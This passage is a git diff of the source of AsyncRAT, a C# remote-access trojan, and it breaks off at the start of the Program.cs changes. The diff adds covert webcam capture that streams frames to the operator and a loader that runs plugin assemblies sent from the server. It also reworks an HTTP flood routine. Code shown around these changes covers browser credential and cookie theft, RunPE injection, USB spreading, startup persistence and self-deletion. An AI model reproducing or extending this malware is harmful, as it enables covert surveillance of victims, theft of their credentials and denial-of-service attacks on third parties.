System.Net.Sockets.Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) { ReceiveBufferSize = 50 * 1024, SendBufferSize = 50 * 1024, @@ -54,15 +55,15 @@ namespace Client.Sockets { try { - Client.Connect(theaddress, ServerPort); //lets try and connect! - if (Client.Connected) break; + TcpClient.Connect(theaddress, ServerPort); //lets try and connect! + if (TcpClient.Connected) break; } catch { } } } else { - Client.Connect(ServerIP, ServerPort); //legacy mode connect (no DNS) + TcpClient.Connect(ServerIP, ServerPort); //legacy mode connect (no DNS) } } else @@ -75,16 +76,16 @@ namespace Client.Sockets string[] spl = resp.Split(new[] { ":" }, StringSplitOptions.None); Settings.Hosts = spl[0]; Settings.Ports = spl[new Random().Next(1, spl.Length)]; - Client.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports)); + TcpClient.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports)); } } - if (Client.Connected) + if (TcpClient.Connected) { Debug.WriteLine("Connected!"); IsConnected = true; - SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate); - SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); + SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); + SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); Buffer = new byte[4]; MS = new MemoryStream(); Send(Methods.SendInfo()); @@ -125,7 +126,7 @@ namespace Client.Sockets { Tick?.Dispose(); SslClient?.Dispose(); - Client?.Dispose(); + TcpClient?.Dispose(); MS?.Dispose(); } catch { } @@ -135,7 +136,7 @@ namespace Client.Sockets { try { - if (!Client.Connected || !IsConnected) + if (!TcpClient.Connected || !IsConnected) { IsConnected = false; return; @@ -199,12 +200,11 @@ namespace Client.Sockets return; } - byte[] buffer = msg; - byte[] buffersize = BitConverter.GetBytes(buffer.Length); + byte[] buffersize = BitConverter.GetBytes(msg.Length); - Client.Poll(-1, SelectMode.SelectWrite); + TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(buffersize, 0, buffersize.Length); - SslClient.Write(buffer, 0, buffer.Length); + SslClient.Write(msg, 0, msg.Length); SslClient.Flush(); } catch diff --git a/AsyncRAT-C#/Client/Sockets/TempSocket.cs b/AsyncRAT-C#/Client/Connection/TempSocket.cs similarity index 85% rename from AsyncRAT-C#/Client/Sockets/TempSocket.cs rename to AsyncRAT-C#/Client/Connection/TempSocket.cs index 0759def..98e7223 100644 --- a/AsyncRAT-C#/Client/Sockets/TempSocket.cs +++ b/AsyncRAT-C#/Client/Connection/TempSocket.cs @@ -13,6 +13,7 @@ using System.Net.Security; using System.Security.Authentication; using System.Security.Cryptography.X509Certificates; using System.Net; +using Client.Algorithm; // │ Author : NYAN CAT // │ Name : Nyan Socket v0.1 @@ -20,11 +21,11 @@ using System.Net; // This program is distributed for educational purposes only. -namespace Client.Sockets +namespace Client.Connection { public class TempSocket { - public Socket Client { get; set; } + public Socket TcpClient { get; set; } public SslStream SslClient { get; set; } private byte[] Buffer { get; set; } private long Buffersize { get; set; } @@ -40,18 +41,18 @@ namespace Client.Sockets try { - Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + TcpClient = new System.Net.Sockets.Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) { ReceiveBufferSize = 50 * 1024, SendBufferSize = 50 * 1024, }; - Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1])); + TcpClient.Connect(ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[1])); Debug.WriteLine("Temp Connected!"); IsConnected = true; - SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate); - SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); + SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); + SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); Buffer = new byte[4]; MS = new MemoryStream(); Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); @@ -75,11 +76,19 @@ namespace Client.Sockets public void Dispose() { + IsConnected = false; + + try + { + TcpClient.Shutdown(SocketShutdown.Both); + } + catch { } + try { Tick?.Dispose(); SslClient?.Dispose(); - Client?.Dispose(); + TcpClient?.Dispose(); MS?.Dispose(); } catch { } @@ -152,15 +161,15 @@ namespace Client.Sockets { try { - if (!IsConnected || msg == null || !ClientSocket.IsConnected) + if (!IsConnected || !ClientSocket.IsConnected) { + Dispose(); return; } - byte[] buffer = msg; - byte[] buffersize = BitConverter.GetBytes(buffer.Length); + byte[] buffersize = BitConverter.GetBytes(msg.Length); - Client.Poll(-1, SelectMode.SelectWrite); + TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(buffersize, 0, buffersize.Length); SslClient.Flush(); int chunkSize = 50 * 1024; diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs b/AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs index e25d64f..4402c10 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs @@ -4,7 +4,7 @@ using System.Diagnostics; using System.Runtime.InteropServices; using Microsoft.Win32; using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System.Security.Principal; // │ Author : NYAN CAT diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleDos.cs b/AsyncRAT-C#/Client/Handle Packet/HandleDos.cs index db588ba..992d0cd 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleDos.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleDos.cs @@ -1,5 +1,5 @@ using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System; using System.Collections.Generic; using System.Diagnostics; @@ -28,42 +28,43 @@ namespace Client.Handle_Packet public void DosPost(MsgPack unpack_msgpack) { - host = new Uri(unpack_msgpack.ForcePathObject("Host").AsString).DnsSafeHost; - port = Convert.ToInt32(unpack_msgpack.ForcePathObject("port").AsString); - timeout = Convert.ToInt32(unpack_msgpack.ForcePathObject("timeout").AsString) * 60; - List SocketList = new List(); - TimeSpan timespan = TimeSpan.FromSeconds(timeout); - Stopwatch stopwatch = new Stopwatch(); - stopwatch.Start(); - - Debug.WriteLine($"Host:{host} Port:{port} Timeout:{timeout}"); - while (!Packet.ctsDos.IsCancellationRequested && timespan > stopwatch.Elapsed && ClientSocket.IsConnected) + try { - new Thread(() => + host = new Uri(unpack_msgpack.ForcePathObject("Host").AsString).DnsSafeHost; + port = Convert.ToInt32(unpack_msgpack.ForcePathObject("port").AsString); + timeout = Convert.ToInt32(unpack_msgpack.ForcePathObject("timeout").AsString) * 60; + TimeSpan timespan = TimeSpan.FromSeconds(timeout); + Stopwatch stopwatch = new Stopwatch(); + stopwatch.Start(); + + + Debug.WriteLine($"Host:{host} Port:{port} Timeout:{timeout}"); + while (!Packet.ctsDos.IsCancellationRequested && timespan > stopwatch.Elapsed && ClientSocket.IsConnected) { - try + for (int i = 0; i < 100; i++) { - Socket tcp = new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp); - tcp.Connect(host.ToString(), port); - SocketList.Add(tcp); - string post = $"POST / HTTP/1.1\r\nHost: {host} \r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: {userAgents[new Random().Next(userAgents.Length)]}\r\nContent-length: 5235\r\n\r\n"; - byte[] buffer = Encoding.UTF8.GetBytes(post); - tcp.Send(buffer, 0, buffer.Length, SocketFlags.None); + new Thread(() => + { + try + { + Socket tcp = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + tcp.Connect(host.ToString(), port); + string post = $"POST / HTTP/1.1\r\nHost: {host} \r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: {userAgents[new Random().Next(userAgents.Length)]}\r\nContent-length: 5235\r\n\r\n"; + byte[] buffer = Encoding.UTF8.GetBytes(post); + tcp.Send(buffer, 0, buffer.Length, SocketFlags.None); + Thread.Sleep(4000); + tcp.Dispose(); + } + catch + { + //Console.WriteLine("Website may be down!"); + } + }).Start(); } - catch - { - //Console.WriteLine("Website may be down!"); - } - }).Start(); - Thread.Sleep(1); + Thread.Sleep(5000); + } } - - Thread.Sleep(1000); - foreach (Socket tcp in SocketList.ToList()) - { - tcp?.Dispose(); - } - + catch { return; } } } } diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs index ae5ed1b..4476f9b 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs @@ -1,5 +1,5 @@ using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System; using System.Collections.Generic; using System.Drawing; @@ -175,6 +175,7 @@ namespace Client.Handle_Packet if (path == "DESKTOP") path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); if (path == "APPDATA") path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), "AppData"); + if (path == "USER") path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile); foreach (string folder in Directory.GetDirectories(path)) { @@ -208,7 +209,7 @@ namespace Client.Handle_Packet { using (Bitmap myBitmap = new Bitmap(file)) { - return new Bitmap(myBitmap.GetThumbnailImage(64, 64, new Image.GetThumbnailImageAbort(() => false), IntPtr.Zero)); + return new Bitmap(myBitmap.GetThumbnailImage(48, 48, new Image.GetThumbnailImageAbort(() => false), IntPtr.Zero)); } } else @@ -219,7 +220,7 @@ namespace Client.Handle_Packet } catch { - return new Bitmap(64, 64); + return new Bitmap(48, 48); } } diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs b/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs index 161d96d..361502e 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs @@ -6,7 +6,7 @@ using System.Text; using System.Windows.Forms; using Client.MessagePack; using System.Threading; -using Client.Sockets; +using Client.Connection; namespace Client.Handle_Packet { diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs b/AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs index 7e884f6..80cf490 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs @@ -1,5 +1,5 @@ using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System; using System.Diagnostics; using System.Reflection; @@ -20,13 +20,13 @@ namespace Client.Handle_Packet try { Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes()); - MethodInfo meth = loader.GetType("HandleLimeUSB.HandleLimeUSB").GetMethod("Initialize"); + MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("Initialize"); object injObj = loader.CreateInstance(meth.Name); int count = (int)meth.Invoke(injObj, null); if (count > 0) { MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "usbSpread"; + msgpack.ForcePathObject("Packet").AsString = "usb"; msgpack.ForcePathObject("Count").AsString = count.ToString(); ClientSocket.Send(msgpack.Encode2Bytes()); } diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs b/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs new file mode 100644 index 0000000..985ed68 --- /dev/null +++ b/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs @@ -0,0 +1,32 @@ +using Client.MessagePack; +using Client.Connection; +using System; +using System.Threading; +using System.Reflection; +using System.Diagnostics; +using Client.Helper; + +namespace Client.Handle_Packet +{ + public class HandlePlugin + { + public HandlePlugin(MsgPack unpack_msgpack) + { + new Thread(delegate () + { + try + { + Assembly plugin = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes()); + MethodInfo meth = plugin.GetType("Plugin.Plugin").GetMethod("Initialize"); + meth.Invoke(null, new object[] { ClientSocket.TcpClient, Settings.ServerCertificate }); + } + catch (Exception ex) + { + Debug.WriteLine(ex.Message); + Packet.Error(ex.Message); + } + }) + { IsBackground = true }.Start(); + } + } +} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs b/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs index 23c3ebd..cd316ff 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs @@ -1,5 +1,5 @@ using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System; using System.Diagnostics; using System.Drawing; diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs index 38b0df8..42f8415 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs @@ -1,21 +1,20 @@ -using Client.MessagePack; -using Client.Sockets; -using System.Drawing; -using System.Drawing.Imaging; +using System; using System.IO; -using System.Windows.Forms; -using Client.Helper; -using System; -using Client.StreamLibrary.UnsafeCodecs; -using Client.StreamLibrary; -using System.Runtime.InteropServices; using System.Threading; +using System.Drawing.Imaging; +using System.Drawing; +using System.Windows.Forms; +using System.Runtime.InteropServices; +using Client.MessagePack; +using Client.Connection; +using Client.StreamLibrary.UnsafeCodecs; +using Client.Helper; +using Client.StreamLibrary; namespace Client.Handle_Packet { public class HandleRemoteDesktop { - public HandleRemoteDesktop(MsgPack unpack_msgpack) { try @@ -80,7 +79,6 @@ namespace Client.Handle_Packet tempSocket.SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length)); tempSocket.SslClient.Write(msgpack.Encode2Bytes()); tempSocket.SslClient.Flush(); - Thread.Sleep(1); } } bmp.UnlockBits(bmpData); @@ -88,9 +86,13 @@ namespace Client.Handle_Packet } catch { break; } } - bmp?.UnlockBits(bmpData); - bmp?.Dispose(); - tempSocket?.Dispose(); + try + { + bmp?.UnlockBits(bmpData); + bmp?.Dispose(); + tempSocket?.Dispose(); + } + catch { } } private Bitmap GetScreen(int Scrn) diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleReportWindow.cs b/AsyncRAT-C#/Client/Handle Packet/HandleReportWindow.cs index 90f60f9..a78b86d 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleReportWindow.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleReportWindow.cs @@ -1,5 +1,5 @@ using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs b/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs index 8cc2262..d609884 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs @@ -14,6 +14,7 @@ namespace Client.Handle_Packet { try { + //Drop To Disk string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString; unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath); Process.Start(fullPath); @@ -37,6 +38,7 @@ namespace Client.Handle_Packet byte[] plugin = unpack_msgpack.ForcePathObject("Plugin").GetAsBytes(); if (injection.Length == 0) { + //Reflection new Thread(delegate () { try @@ -59,12 +61,13 @@ namespace Client.Handle_Packet } else { + //RunPE new Thread(delegate () { try { Assembly loader = Assembly.Load(plugin); - MethodInfo meth = loader.GetType("Plugin.Program").GetMethod("Run"); + MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("Initialize"); meth.Invoke(null, new object[] { buffer, Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection) }); } catch (Exception ex) diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleShell.cs b/AsyncRAT-C#/Client/Handle Packet/HandleShell.cs index 5ba1857..cac03ee 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleShell.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleShell.cs @@ -1,5 +1,5 @@ using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleThumbnails.cs b/AsyncRAT-C#/Client/Handle Packet/HandleThumbnails.cs index 1579214..52e6194 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleThumbnails.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleThumbnails.cs @@ -1,5 +1,5 @@ using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleTorrent.cs b/AsyncRAT-C#/Client/Handle Packet/HandleTorrent.cs index c9a077a..7ac3e38 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleTorrent.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleTorrent.cs @@ -1,5 +1,5 @@ using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs b/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs index 191262d..eaaf25d 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs @@ -19,16 +19,16 @@ namespace Client.Handle_Packet try { if (!Methods.IsAdmin()) - Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run").DeleteValue(Path.GetFileName(Settings.ClientFullPath)); + Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run").DeleteValue(Settings.InstallFile); else { Process.Start(new ProcessStartInfo() { FileName = "schtasks", - Arguments = $"/delete /tn {Path.GetFileName(Settings.ClientFullPath)} /f", + Arguments = $"/delete /tn {Settings.InstallFile} /f", CreateNoWindow = true, ErrorDialog = false, - UseShellExecute = true, + UseShellExecute = false, WindowStyle = ProcessWindowStyle.Hidden }); } @@ -43,6 +43,7 @@ namespace Client.Handle_Packet Arguments = "/C choice /C Y /N /D Y /T 1 & Del \"" + Process.GetCurrentProcess().MainModule.FileName + "\"", WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, + UseShellExecute = false, FileName = "cmd.exe" }; } diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs b/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs new file mode 100644 index 0000000..04c6903 --- /dev/null +++ b/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs @@ -0,0 +1,213 @@ +using AForge.Video; +using AForge.Video.DirectShow; +using Client.Connection; +using Client.Helper; +using Client.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading; + +namespace Client.Handle_Packet +{ + public static class HandleWebcam + { + public static bool IsOn = false; + public static VideoCaptureDevice FinalVideo; + public static string HWID = Methods.HWID(); + private static MemoryStream Camstream = new MemoryStream(); + private static TempSocket TempSocket = null; + private static int Quality = 50; + + public static void Run(MsgPack unpack_msgpack) + { + try + { + switch (unpack_msgpack.ForcePathObject("Packet").AsString) + { + case "webcam": + { + switch (unpack_msgpack.ForcePathObject("Command").AsString) + { + case "getWebcams": + { + TempSocket?.Dispose(); + TempSocket = new TempSocket(); + if (TempSocket.IsConnected) + { + GetWebcams(); + } + else + { + new Thread(() => + { + try + { + TempSocket.Dispose(); + CaptureDispose(); + } + catch { } + }).Start(); + } + break; + } + + case "capture": + { + if (IsOn == true) return; + if (TempSocket.IsConnected) + { + IsOn = true; + FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); + FinalVideo = new VideoCaptureDevice(videoCaptureDevices[0].MonikerString); + Quality = (int)unpack_msgpack.ForcePathObject("Quality").AsInteger; + FinalVideo.NewFrame += CaptureRun; + FinalVideo.VideoResolution = FinalVideo.VideoCapabilities[unpack_msgpack.ForcePathObject("List").AsInteger]; + FinalVideo.Start(); + } + else + { + new Thread(() => + { + try + { + CaptureDispose(); + TempSocket.Dispose(); + } + catch { } + }).Start(); + } + break; + } + + case "stop": + { + new Thread(() => + { + try + { + CaptureDispose(); + } + catch { } + }).Start(); + break; + } + } + break; + } + } + } + catch (Exception ex) + { + Debug.WriteLine("Webcam switch" + ex.Message); + } + } + + private static void CaptureRun(object sender, NewFrameEventArgs e) + { + try + { + if (TempSocket.IsConnected) + { + if (IsOn == true) + { + Bitmap image = (Bitmap)e.Frame.Clone(); + using (Camstream = new MemoryStream()) + { + System.Drawing.Imaging.Encoder myEncoder = System.Drawing.Imaging.Encoder.Quality; + EncoderParameters myEncoderParameters = new EncoderParameters(1); + EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, Quality); + myEncoderParameters.Param[0] = myEncoderParameter; + ImageCodecInfo jpgEncoder = Methods.GetEncoder(ImageFormat.Jpeg); + image.Save(Camstream, jpgEncoder, myEncoderParameters); + myEncoderParameters?.Dispose(); + myEncoderParameter?.Dispose(); + image?.Dispose(); + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "webcam"; + msgpack.ForcePathObject("ID").AsString = HWID; + msgpack.ForcePathObject("Command").AsString = "capture"; + msgpack.ForcePathObject("Image").SetAsBytes(Camstream.ToArray()); + TempSocket.Send(msgpack.Encode2Bytes()); + } + } + } + else + { + new Thread(() => + { + try + { + CaptureDispose(); + TempSocket.Dispose(); + } + catch { } + }).Start(); + } + } + catch (Exception ex) + { + new Thread(() => + { + try + { + CaptureDispose(); + TempSocket.Dispose(); + } + catch { } + }).Start(); + Debug.WriteLine("CaptureRun: " + ex.Message); + } + } + + private static void GetWebcams() + { + try + { + StringBuilder deviceInfo = new StringBuilder(); + FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); + foreach (FilterInfo videoCaptureDevice in videoCaptureDevices) + { + deviceInfo.Append(videoCaptureDevice.Name + "-=>"); + VideoCaptureDevice device = new VideoCaptureDevice(videoCaptureDevice.MonikerString); + Debug.WriteLine(videoCaptureDevice.Name); + } + MsgPack msgpack = new MsgPack(); + if (deviceInfo.Length > 0) + { + msgpack.ForcePathObject("Packet").AsString = "webcam"; + msgpack.ForcePathObject("Command").AsString = "getWebcams"; + msgpack.ForcePathObject("ID").AsString = HWID; + msgpack.ForcePathObject("List").AsString = deviceInfo.ToString(); + } + else + { + msgpack.ForcePathObject("Packet").AsString = "webcam"; + msgpack.ForcePathObject("Command").AsString = "getWebcams"; + msgpack.ForcePathObject("ID").AsString = HWID; + msgpack.ForcePathObject("List").AsString = "None"; + } + TempSocket.Send(msgpack.Encode2Bytes()); + } + catch { } + } + + private static void CaptureDispose() + { + try + { + IsOn = false; + FinalVideo.Stop(); + FinalVideo.NewFrame -= CaptureRun; + Camstream?.Dispose(); + } + catch { } + } + } +} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs b/AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs index 9e32ab1..98304aa 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs @@ -1,5 +1,5 @@ using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System; using System.Collections.Generic; using System.Linq; @@ -16,8 +16,8 @@ namespace Client.Handle_Packet { // DLL StealerLib => gitlab.com/thoxy/stealerlib Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes()); - MethodInfo meth = loader.GetType("StealerLib.Browsers.CaptureBrowsers").GetMethod("RecoverCredential"); - MethodInfo meth2 = loader.GetType("StealerLib.Browsers.CaptureBrowsers").GetMethod("RecoverCookies"); + MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("RecoverCredential"); + MethodInfo meth2 = loader.GetType("Plugin.Plugin").GetMethod("RecoverCookies"); object injObj = loader.CreateInstance(meth.Name); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "recoveryPassword"; diff --git a/AsyncRAT-C#/Client/Handle Packet/Packet.cs b/AsyncRAT-C#/Client/Handle Packet/Packet.cs index a5675e0..ccc1682 100644 --- a/AsyncRAT-C#/Client/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Client/Handle Packet/Packet.cs @@ -1,6 +1,7 @@ -using Client.Helper; +using Client.Algorithm; +using Client.Helper; using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System; using System.Diagnostics; using System.IO; @@ -239,6 +240,13 @@ namespace Client.Handle_Packet break; } + case "webcam": + { + HandleWebcam.Run(unpack_msgpack); + break; + } + + //case "netStat": // { // HandleNetStat.RunNetStat(); diff --git a/AsyncRAT-C#/Client/Helper/FormChat.cs b/AsyncRAT-C#/Client/Helper/FormChat.cs index 44b36af..9a68e21 100644 --- a/AsyncRAT-C#/Client/Helper/FormChat.cs +++ b/AsyncRAT-C#/Client/Helper/FormChat.cs @@ -1,6 +1,6 @@ using Client.Handle_Packet; using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System; using System.Collections.Generic; using System.ComponentModel; diff --git a/AsyncRAT-C#/Client/Helper/Methods.cs b/AsyncRAT-C#/Client/Helper/Methods.cs index 6afee21..63a4c18 100644 --- a/AsyncRAT-C#/Client/Helper/Methods.cs +++ b/AsyncRAT-C#/Client/Helper/Methods.cs @@ -1,5 +1,5 @@ using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using Microsoft.VisualBasic.Devices; using System; using System.Collections.Generic; @@ -11,10 +11,11 @@ using System.Security.Cryptography; using System.Security.Principal; using System.Text; using System.Threading; +using System.Drawing.Imaging; namespace Client.Helper { - static class Methods + static class Methods { public static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total"); public static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use"); @@ -68,9 +69,9 @@ namespace Client.Helper if (Convert.ToBoolean(Settings.BDOS) && IsAdmin()) ProcessCritical.Exit(); CloseMutex(); - ClientSocket.Client?.Shutdown(SocketShutdown.Both); + ClientSocket.TcpClient?.Shutdown(SocketShutdown.Both); ClientSocket.SslClient?.Close(); - ClientSocket.Client?.Close(); + ClientSocket.TcpClient?.Close(); } catch { } } @@ -106,5 +107,19 @@ namespace Client.Helper msgpack.ForcePathObject("Antivirus").AsString = Antivirus(); return msgpack.Encode2Bytes(); } + + public static ImageCodecInfo GetEncoder(ImageFormat format) + { + ImageCodecInfo[] codecs = ImageCodecInfo.GetImageDecoders(); + foreach (ImageCodecInfo codec in codecs) + { + if (codec.FormatID == format.Guid) + { + return codec; + } + } + return null; + } + } } diff --git a/AsyncRAT-C#/Client/Install/NormalStartup.cs b/AsyncRAT-C#/Client/Install/NormalStartup.cs index 8b9c2d7..d9cc9ec 100644 --- a/AsyncRAT-C#/Client/Install/NormalStartup.cs +++ b/AsyncRAT-C#/Client/Install/NormalStartup.cs @@ -15,13 +15,14 @@ namespace Client.Install { try { - if (Process.GetCurrentProcess().MainModule.FileName != Settings.ClientFullPath) + string installfullpath = Path.Combine(Environment.ExpandEnvironmentVariables(Settings.InstallFolder), Settings.InstallFile); + if (Process.GetCurrentProcess().MainModule.FileName != installfullpath) { foreach (Process P in Process.GetProcesses()) { try { - if (P.MainModule.FileName == Settings.ClientFullPath) + if (P.MainModule.FileName == installfullpath) P.Kill(); } catch @@ -31,22 +32,22 @@ namespace Client.Install } FileStream fs; - if (File.Exists(Settings.ClientFullPath)) + if (File.Exists(installfullpath)) { - File.Delete(Settings.ClientFullPath); + File.Delete(installfullpath); Thread.Sleep(1000); - fs = new FileStream(Settings.ClientFullPath, FileMode.Create); + fs = new FileStream(installfullpath, FileMode.Create); } else - fs = new FileStream(Settings.ClientFullPath, FileMode.CreateNew); + fs = new FileStream(installfullpath, FileMode.CreateNew); byte[] clientExe = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName); fs.Write(clientExe, 0, clientExe.Length); fs.Dispose(); string tempName = Path.GetTempFileName() + ".vbs"; - string TempPath = Strings.StrReverse(Settings.ClientFullPath); - string TempPathName = Strings.StrReverse(Path.GetFileName(Settings.ClientFullPath)); + string TempPath = Strings.StrReverse(installfullpath); + string TempPathName = Strings.StrReverse(Path.GetFileName(installfullpath)); using (StreamWriter sw = new StreamWriter(tempName, false)) { if (!Methods.IsAdmin()) @@ -64,7 +65,7 @@ namespace Client.Install Process.Start(tempName); Thread.Sleep(1000); File.Delete(tempName); - Process.Start(Settings.ClientFullPath); + Process.Start(installfullpath); Methods.ClientExit(); Environment.Exit(0); } diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index f6534a6..a2414ca 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -1,5 